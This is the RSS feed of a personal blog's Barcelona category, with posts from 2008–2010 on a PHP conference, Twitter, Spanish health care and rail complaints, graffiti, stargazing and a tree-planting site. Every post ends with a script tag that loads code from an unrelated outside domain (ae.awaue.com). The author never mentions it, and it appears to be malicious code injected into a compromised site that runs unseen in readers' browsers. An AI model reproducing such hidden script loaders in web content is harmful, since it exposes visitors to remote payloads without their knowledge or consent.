<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elzo Valugi &#187; Barcelona</title>
	<atom:link href="http://blog.valugi.ro/category/barcelona/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.valugi.ro</link>
	<description>professional websurfing</description>
	<lastBuildDate>Sun, 25 Jul 2010 06:34:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>PHP Barcelona 2009 impressions</title>
		<link>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/</link>
		<comments>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 17:48:04 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Books]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[Zend Framework]]></category>
		<category><![CDATA[agile]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Database Resident Connection Pool]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Phing]]></category>
		<category><![CDATA[REST]]></category>
		<category><![CDATA[scrum]]></category>
		<category><![CDATA[SOAP]]></category>
		<category><![CDATA[webservices]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=568</guid>
		<description><![CDATA[Last Friday and Saturday I was attending PHP Barcelona Conference.  Barcelona is a TOP10 tourist destination but when it comes to PHP we are a small province town, and as you may suspect Gaudi and beaches are somehow more famous here than programmers. But we exist and most of us try to do their best [...]]]></description>
			<content:encoded><![CDATA[<p>Last Friday and Saturday I was attending <a href="http://phpconference.es/" target="_blank">PHP Barcelona Conference</a>.  Barcelona is a TOP10 tourist destination but when it comes to PHP we are a small province town, and as you may suspect Gaudi and beaches are somehow more famous here than programmers. But we exist and most of us try to do their best and this happens thanks to <a href="http://phpbarcelona.org/" target="_blank">Barcelona PHP Programmers Group</a>.</p>
<p>The program had enough presentation to choose from.</p>
<p>These are the presentations that I&#8217;ve attended:<br />
<strong>Working with Web Services</strong> &#8211; by <a href="www.lornajane.net/" target="_blank">Lorna Mitchell</a>, not bad but very basic. Probably good for PHP programmers who never worked with an API or webservice before. <a href="http://www.alexpuig.es/" target="_self">Alex Puig</a> presentation about actually implementing an API was far more interesting.</p>
<div id="__ss_2391682" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cfakepathworkingwithwebserviceswed-091031132635-phpapp02&amp;rel=0&amp;stripped_title=working-with-web-services" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=cfakepathworkingwithwebserviceswed-091031132635-phpapp02&amp;rel=0&amp;stripped_title=working-with-web-services" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><img style="visibility: hidden; width: 0px; height: 0px;" src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyNTc2MTU3NDU5MDYmcHQ9MTI1NzYxNTc2ODk4NCZwPTEwMTkxJmQ9c3NfZW1iZWQmZz*yJm89YzU3ODIwZmZlNjI2NGRhZmE4ZDEyMGUxMjFmNTg4Yzcmb2Y9MA==.gif" border="0" alt="" width="0" height="0" /></p>
<div id="__ss_2436054" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=developingarestapi-091106020654-phpapp02&amp;stripped_title=desarrollando-un-api-con-rest" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=developingarestapi-091106020654-phpapp02&amp;stripped_title=desarrollando-un-api-con-rest" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><strong>Trees in Database</strong> &#8211; by Lorenzo Alberton. This one was better even though it wasn&#8217;t a PHP subject. I already knew and implemented some of this advanced data models, but not all.  Interesting.</p>
<div id="__ss_1599248" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=treesinthedatabase-slideshare-090617144655-phpapp01&amp;rel=0&amp;stripped_title=trees-in-the-database-advanced-data-structures" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=treesinthedatabase-slideshare-090617144655-phpapp01&amp;rel=0&amp;stripped_title=trees-in-the-database-advanced-data-structures" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p><strong>Simple is Hard</strong> &#8211; by Rasmus Lerdorf. Good. I love people that tell me I am stupid.<br />
<a href="http://talks.php.net/show/phpbcn">http://talks.php.net/show/phpbcn</a></p>
<p>Ajax for scalability by Erik Schultink from Tuenti. Good advices but nothing different from Facebook presentations seen on InfoQ and good only if you have the site with most traffic in your country .</p>
<p>Agile Development with PHP in Practice by Lars Jankowfsky. Basic.</p>
<p>I&#8217;ve also been to an Oracle on PHP workshop. <strong>Database Resident Connection Pool</strong> on 11g seems interesting.</p>
<p><strong>PHP Security Audits</strong> &#8211; by Seguy Damien. Very clear and nice. Give me and <a href="http://noteslog.com/" target="_blank">Andrea</a> something to discuss. I think I should do PHP and Javascript audits. Not only security but also code improvements.</p>
<div style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=php-security-barcelona-091102023948-phpapp02&amp;stripped_title=php-security-audits" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=php-security-barcelona-091102023948-phpapp02&amp;stripped_title=php-security-audits" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<p>The overall organization was good. Food and drinks, books with discounts.</p>
<p>The State of QA Tools for PHP by Sebastian Bergmann. Probably one of the most interesting presentations of the conference.</p>
<div id="__ss_2389795" style="width: 425px; text-align: left;"><object style="margin:0px" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=thestateofqatoolsforphp-091031061425-phpapp01&amp;rel=0&amp;stripped_title=the-state-of-qa-tools-for-php-2389795" /><param name="allowfullscreen" value="true" /><embed style="margin:0px" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=thestateofqatoolsforphp-091031061425-phpapp01&amp;rel=0&amp;stripped_title=the-state-of-qa-tools-for-php-2389795" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<div style="width: 425px; text-align: left;">I did attend to a <strong><a href="http://phing.info/trac/" target="_blank">Phing</a> </strong>seminar I think it is a pretty useful tool that I cant wait to test.</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/11/07/php-barcelona-2009-impressions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>twitter surprise by Rasmus himself</title>
		<link>http://blog.valugi.ro/2009/10/27/twitter-surprise-by-rasmus-himself/</link>
		<comments>http://blog.valugi.ro/2009/10/27/twitter-surprise-by-rasmus-himself/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 10:55:16 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Society]]></category>
		<category><![CDATA[Techie]]></category>
		<category><![CDATA[Trivia]]></category>
		<category><![CDATA[Webcitizens]]></category>
		<category><![CDATA[rasmus lerdorf]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=564</guid>
		<description><![CDATA[I was asking in Twitter if anybody knows about what Rasmus Lerdorf will talk on his talk at Barcelona PHP Conference, which was without a topic. I was also interested about the other subject that runs in parallel PHP Industrialization. I want to see the GURU inventor of PHP itself, but nevertheless I don&#8217;t want [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><img class="size-full wp-image-563 aligncenter" title="rasmus_tweeter" src="http://blog.valugi.ro/wp-content/uploads/2009/10/rasmus_tweeter.jpg" alt="rasmus_tweeter" width="600" height="150" />I was asking in Twitter if anybody knows about what <a href="http://en.wikipedia.org/wiki/Rasmus_Lerdorf" target="_blank">Rasmus Lerdorf </a>will talk on his talk at <a href="http://phpconference.es/barcelona-php-conference-2009/talks/">Barcelona PHP Conference</a>, which was without a topic. I was also interested about the other subject that runs in parallel <strong>PHP Industrialization</strong>. I want to see the GURU inventor of PHP itself, but nevertheless I don&#8217;t want to see him to take a picture with him. This is not an amusement park. I want to hear something enlightening. I know that I can expect too much, it happen before at a PHP event with Zeev Suraski, from where I did go dissapointed. I hope people come in Barcelona and treat the conference seriously, and don&#8217;t take this a a vacation. I am absolutely fed up with tourists.</p>
<p style="text-align: left;">Anyway, this post is about the power of Twitter, which so far I was underestimating. How cool is to have Rasmus responding to you directly and in a non official manner?</p>
<p style="text-align: left;"><strong>Priceless.</strong></p>
<p style="text-align: left;">PS. in January 2009 I was creating <a href="http://ro.wikipedia.org/w/index.php?title=Rasmus_Lerdorf&amp;action=history">Rasmus Lerdorf</a> page in ro.wikipedia. So probably exists a Law of Compensation. :)</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/10/27/twitter-surprise-by-rasmus-himself/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>money money money</title>
		<link>http://blog.valugi.ro/2009/10/22/money-money-money/</link>
		<comments>http://blog.valugi.ro/2009/10/22/money-money-money/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 21:26:35 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Society]]></category>
		<category><![CDATA[Thinking in patterns]]></category>
		<category><![CDATA[business owner]]></category>
		<category><![CDATA[crosstalent]]></category>
		<category><![CDATA[employee]]></category>
		<category><![CDATA[investor]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[self-employee]]></category>
		<category><![CDATA[social division of work]]></category>
		<category><![CDATA[vinces castellano]]></category>
		<category><![CDATA[worker]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=553</guid>
		<description><![CDATA[I&#8217;ve been to Crosstalent 8 yesterday. Usually at the previous sessions we talk about media/creativity/advertising stuff, but on this one Vicens Castellano tried to convince the eager audience that they should focus on making money by converting all passive aspects of their life in actives. I told them and I still think is wrong. Yes [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Crosstalent8" src="http://farm3.static.flickr.com/2459/4032590611_c5fc5364d8.jpg" alt="" width="500" height="333" /></p>
<p>I&#8217;ve been to<a href="http://crosstalent.org/2009/10/16/crosstalent-viii-en-barcelona/" target="_blank"> Crosstalent 8</a> yesterday. Usually at the previous sessions we talk about media/creativity/advertising stuff, but on this one <a href="http://www.cuatro.com/ajuste-de-cuentas/vicens-castellano/" target="_blank">Vicens Castellano</a> tried to convince the eager audience that they should focus on making money by converting all passive aspects of their life in actives. I told them and I still think is wrong.</p>
<p>Yes we have to have money to live. The system works like this.<br />
Yes even I use and ask for money for my services.</p>
<p>But there are people out there who know to make money better than me.<br />
And those people cannot do what I do.</p>
<p>I am not for <a href="http://blog.valugi.ro/2006/09/25/specialization-is-for-insects/" target="_blank">extreme especialization</a>, but we divided the work into social casts. See <a href="http://en.wikipedia.org/wiki/Ernest_Gellner" target="_blank">Ernest Gellner</a> social anthropology. Be better at what you like and leave the money making business to those who know to make money.</p>
<p>This is the short version of my view.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/10/22/money-money-money/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spain, Third World Country in Health Care</title>
		<link>http://blog.valugi.ro/2009/10/21/spain-third-world-country-in-health-care-as-well/</link>
		<comments>http://blog.valugi.ro/2009/10/21/spain-third-world-country-in-health-care-as-well/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 10:23:23 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Society]]></category>
		<category><![CDATA[Thinking in patterns]]></category>
		<category><![CDATA[Webcitizens]]></category>
		<category><![CDATA[Catalunya]]></category>
		<category><![CDATA[catSalut]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[spain]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=545</guid>
		<description><![CDATA[This is an update to my post about Spain, a third world country in internet services or Renfe &#8211; the antiCustomer . This is getting more pathetic everyday.  Today I had the proof of something that I already suspected:  Spanish Health System really sucks. I almost never get sick and I always pay my taxes. [...]]]></description>
			<content:encoded><![CDATA[<p>This is an update to my post about <a href="http://blog.valugi.ro/2008/10/31/spain_third-world-country-in-internet/">Spain, a third world country in internet services</a> or <a href="http://blog.valugi.ro/2009/10/11/going-to-port-aventura-an-adventure-in-itself/">Renfe &#8211; the antiCustomer</a> . This is getting more pathetic everyday.  Today I had the proof of something that I already suspected:  <strong>Spanish Health System really sucks<span style="font-weight: normal;">. </span></strong>I almost never get sick and I always pay my taxes. I should get a fast response for the money that I pay &#8230; like 1000 euros a month for social services. I get exactly shit. I wanted to make an appointment to check my myopia with an ophthalmologist. Today I get a date for <strong>14 of December 2009</strong>. Two months for a routine 20 minutes check? This is bullshit. Even in communist Romania I didn&#8217;t get a date more that 1 week.</p>
<p>I want to ask my money back or something. Or at least to cry out loud for this situation that everybody is considering normal. The doctors told me this is a happy case. They are accustomed and they don&#8217;t really care anymore. What if you have more important health issues? You can fuck yourself as this Catalan government cares for. They are more preoccupied in political issues or in getting the fucking tourists buying trinkets in Rambla.  Everybody should sue CatSalut for not providing for the money we pay for. And at least not to vote the same stupid political manager over and over again.</p>
<p>I&#8217;ve send this to CatSalud,  Lavanguardia and Periodico de Catalunya. Probably a useless action, because CatSalud managers probably get some villas and nice cars from not doing anything and keeping the situation like it is now, as every public manager in Spain, and the newspapers that are interested only in making money or scandal sex stories when they appear.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/10/21/spain-third-world-country-in-health-care-as-well/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>going to Port Aventura, an adventure in itself</title>
		<link>http://blog.valugi.ro/2009/10/11/going-to-port-aventura-an-adventure-in-itself/</link>
		<comments>http://blog.valugi.ro/2009/10/11/going-to-port-aventura-an-adventure-in-itself/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 11:02:46 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[port aventura]]></category>
		<category><![CDATA[renfe]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=524</guid>
		<description><![CDATA[Thanks to the poor service of Renfe and it&#8217;s super faulty/unupdated website, going and coming back from Port Aventura can become a pain in the ass. As always the client attention lacks in the Spanish front. A third world country in several aspects. Gotta leave soon. Thanks to my friends and family we had finally [...]]]></description>
			<content:encoded><![CDATA[<p>Thanks to the poor service of <a href="http://en.wikipedia.org/wiki/RENFE" target="_blank">Renfe</a> and it&#8217;s super faulty/unupdated website, going and coming back from Port Aventura can become a pain in the ass. As always the client attention lacks in the Spanish front. A third world country in several aspects. Gotta leave soon. Thanks to my friends and family we had finally the fun and relax that we wanted. Thanks for nothing Renfe!<img class="size-large wp-image-525" title="Stampida" src="http://blog.valugi.ro/wp-content/uploads/2009/10/S1600-1024x756.jpg" alt="rollercoaster" width="600" height="442" /></p>
<p>To understand exactly how stupid Renfe site is, just let me tell you that http://renfe.es is not working without the use of www subdomain, which is an eternal shame for any sysadmin.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/10/11/going-to-port-aventura-an-adventure-in-itself/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lempika Graffiti</title>
		<link>http://blog.valugi.ro/2009/09/15/lempika-graffiti/</link>
		<comments>http://blog.valugi.ro/2009/09/15/lempika-graffiti/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 13:57:59 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Trivia]]></category>
		<category><![CDATA[inKulture]]></category>
		<category><![CDATA[graffiti]]></category>
		<category><![CDATA[lempicka]]></category>
		<category><![CDATA[raval]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=474</guid>
		<description><![CDATA[It was my first graffiti. I&#8217;ve done it for my friend Alex on the gate of his Bar Lempika in Raval, Barcelona.  Maybe you are familiar with Tamara de Lempicka, in a way is a tribute to her.]]></description>
			<content:encoded><![CDATA[
<a href='http://blog.valugi.ro/2009/09/15/lempika-graffiti/graffiti_lempika/' title='graffiti_lempika'><img width="150" height="150" src="http://blog.valugi.ro/wp-content/uploads/2009/09/graffiti_lempika-150x150.jpg" class="attachment-thumbnail" alt="graffiti_lempika" title="graffiti_lempika" /></a>
<a href='http://blog.valugi.ro/2009/09/15/lempika-graffiti/graffiti_lempika_2/' title='graffiti_lempika_2'><img width="150" height="150" src="http://blog.valugi.ro/wp-content/uploads/2009/09/graffiti_lempika_2-150x150.jpg" class="attachment-thumbnail" alt="graffiti_lempika_2" title="graffiti_lempika_2" /></a>
<a href='http://blog.valugi.ro/2009/09/15/lempika-graffiti/graffiti_lempika_3/' title='graffiti_lempika_3'><img width="150" height="150" src="http://blog.valugi.ro/wp-content/uploads/2009/09/graffiti_lempika_3-150x150.jpg" class="attachment-thumbnail" alt="graffiti_lempika_3" title="graffiti_lempika_3" /></a>

<p>It was my first graffiti. I&#8217;ve done it for my friend Alex on the gate of his Bar Lempika in Raval, Barcelona.  Maybe you are familiar with <a href="http://en.wikipedia.org/wiki/Tamara_de_Lempicka" target="_self">Tamara de Lempicka</a>, in a way is a tribute to her.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/15/lempika-graffiti/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jupiter + 4 moons</title>
		<link>http://blog.valugi.ro/2009/09/09/jupiter-4-moons/</link>
		<comments>http://blog.valugi.ro/2009/09/09/jupiter-4-moons/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 15:14:09 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Astronomy]]></category>
		<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[jupiter]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=431</guid>
		<description><![CDATA[Last week I succeeded in seeing Jupiter and 4 of it&#8217;s moons with my small telescope from my terrace in Barcelona.  It is not a big thing but is pretty emotional to see the Universe scale by yourself. And no Hubble picture compares with what you see by yourself and with the effort to keep tracking the [...]]]></description>
			<content:encoded><![CDATA[<p>Last week I succeeded in seeing Jupiter and 4 of it&#8217;s moons with my small telescope from my terrace in Barcelona.  It is not a big thing but is pretty emotional to see the Universe scale by yourself. And no Hubble picture compares with what you see by yourself and with the effort to keep tracking the moving star ( this is a little of overstatement). What I saw was more or less like this photo, as I cannot take pics with my telescope.</p>
<p><img class="alignleft" title="jupiter" src="http://www.ee.psu.edu/faculty/ferraro/AstronomyPhotos/Jupiter%20and%20moons1.jpg" alt="" width="333" height="250" /><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/09/jupiter-4-moons/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kees van Dongen Exhibition in Barcelona</title>
		<link>http://blog.valugi.ro/2009/08/27/kees-van-dongen-exhibition-in-barcelona/</link>
		<comments>http://blog.valugi.ro/2009/08/27/kees-van-dongen-exhibition-in-barcelona/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 11:53:07 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[bcn]]></category>
		<category><![CDATA[kees van dongen]]></category>
		<category><![CDATA[picasso museum]]></category>
		<category><![CDATA[van dongen]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=382</guid>
		<description><![CDATA[Hosted in Picasso Museum en Borne. Most of the images I liked are not to be found on internet so I recommend everyone to go and see it.  Some of the paintings are exceptional.]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-383 alignnone" title="van-350-72" src="http://blog.valugi.ro/wp-content/uploads/2009/08/van-350-72.jpg" alt="van-350-72" width="650" height="440" /></p>
<p>Hosted in Picasso Museum en Borne. Most of the images I liked are not to be found on internet so I recommend everyone to go and see it.  Some of the paintings are exceptional.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/08/27/kees-van-dongen-exhibition-in-barcelona/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3 years in Barcelona</title>
		<link>http://blog.valugi.ro/2009/08/13/3-years-in-barcelona/</link>
		<comments>http://blog.valugi.ro/2009/08/13/3-years-in-barcelona/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 08:14:22 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=370</guid>
		<description><![CDATA[I don&#8217;t get lost anymore and the discovery days are over. I&#8217;m glad I came here. I learned Spanish, I made a lot of new friends from everywhere. I learned to drink and make mojitos. I made my first graffiti. I work now with incomparable less stress than before. There are things that I don&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>I don&#8217;t get lost anymore and the discovery days are over.<br />
I&#8217;m glad I came here. I learned Spanish, I made a lot of new friends from everywhere. I learned to drink and make mojitos.<br />
I made my first graffiti. I work now with incomparable less stress than before.<br />
There are things that I don&#8217;t like, but no place is perfect and sometimes you carry with you some bad things wherever you go, so it is probably my thing as well.</p>
<p>Thanks myself for choosing Barcelona.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/08/13/3-years-in-barcelona/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>show me the money treenation.com</title>
		<link>http://blog.valugi.ro/2008/03/28/treenation/</link>
		<comments>http://blog.valugi.ro/2008/03/28/treenation/#comments</comments>
		<pubDate>Fri, 28 Mar 2008 14:49:00 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Barcelona]]></category>
		<category><![CDATA[Ecology]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=183</guid>
		<description><![CDATA[There are already 9 months since I bought my first tree on treenation.com. This is a Barcelona project that aims to plant a heart shape green island in subsaharian Africa. Sounds a little like something that Romanians did in the 50&#8242;s when, in my native town Brasov, then named Stalin City &#8211; in the honour [...]]]></description>
			<content:encoded><![CDATA[<p>There are already 9 months since I bought my first <a href='http://www.tree-nation.com/community/product.php?id=4941' target='_blank'>tree</a> on <a href='http://www.tree-nation.com/community/profile.php?id=4649' target='_blank'>treenation.com</a>. This is a Barcelona project that aims to plant a heart shape green island in subsaharian Africa.</p>
<p>Sounds a little like something that Romanians did in the 50&#8242;s when, in my native town Brasov, then named Stalin City &#8211; in the honour of the &#8220;great&#8221; leader, when they plant trees on <a href='http://ro.wikipedia.org/wiki/T%C3%A2mpa#Ora.C5.9Ful_Stalin' target='_blank' >Tampa</a> leaving only the Stalin name from firs.<br />
The purpose I think is better this time.</p>
<p>For the moment this is the first and last tree that I bought although I really liked the idea and my intention was to buy more. I wanted to buy one for each member of my family, the first one being dedicated to my mother.</p>
<p>But what I see is a lack of attitude in the website organization. I don&#8217;t notice too much project activity. I see email with general environmentalist news, content generated on other places and a lot of <a href='http://www.tree-nation.com/tn_partners.php' target='_blank'>partners</a>. Instead of all this I wanna see a picture of my tree, small or big, ugly or not, at least too know that is alive and my money did go into a right place. I want to see how the things grow, live cameras, satellite images or other stuff to that will make me still believe in you.</p>
<p>This discussion continues in their <a href='http://www.tree-nation.com/community/discussion.php?discussion_id=654 ' target='_blank'>forum</a>.</p>
<p>###################</p>
<p>UPDATE</p>
<p>###################<br />
Sometimes is worth bitching. Here is my tree :)<br />
GPS: N 12º59´46.0´´ E 003º20´26.7´´</p>
<p><a href='http://www.tree-nation.com/community/product.php?id=4941'><img src="http://valugi.ro/images/2.jpg" width="600" height="600" alt="my first tree" title="my first tree on tree nation" /></a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2008/03/28/treenation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
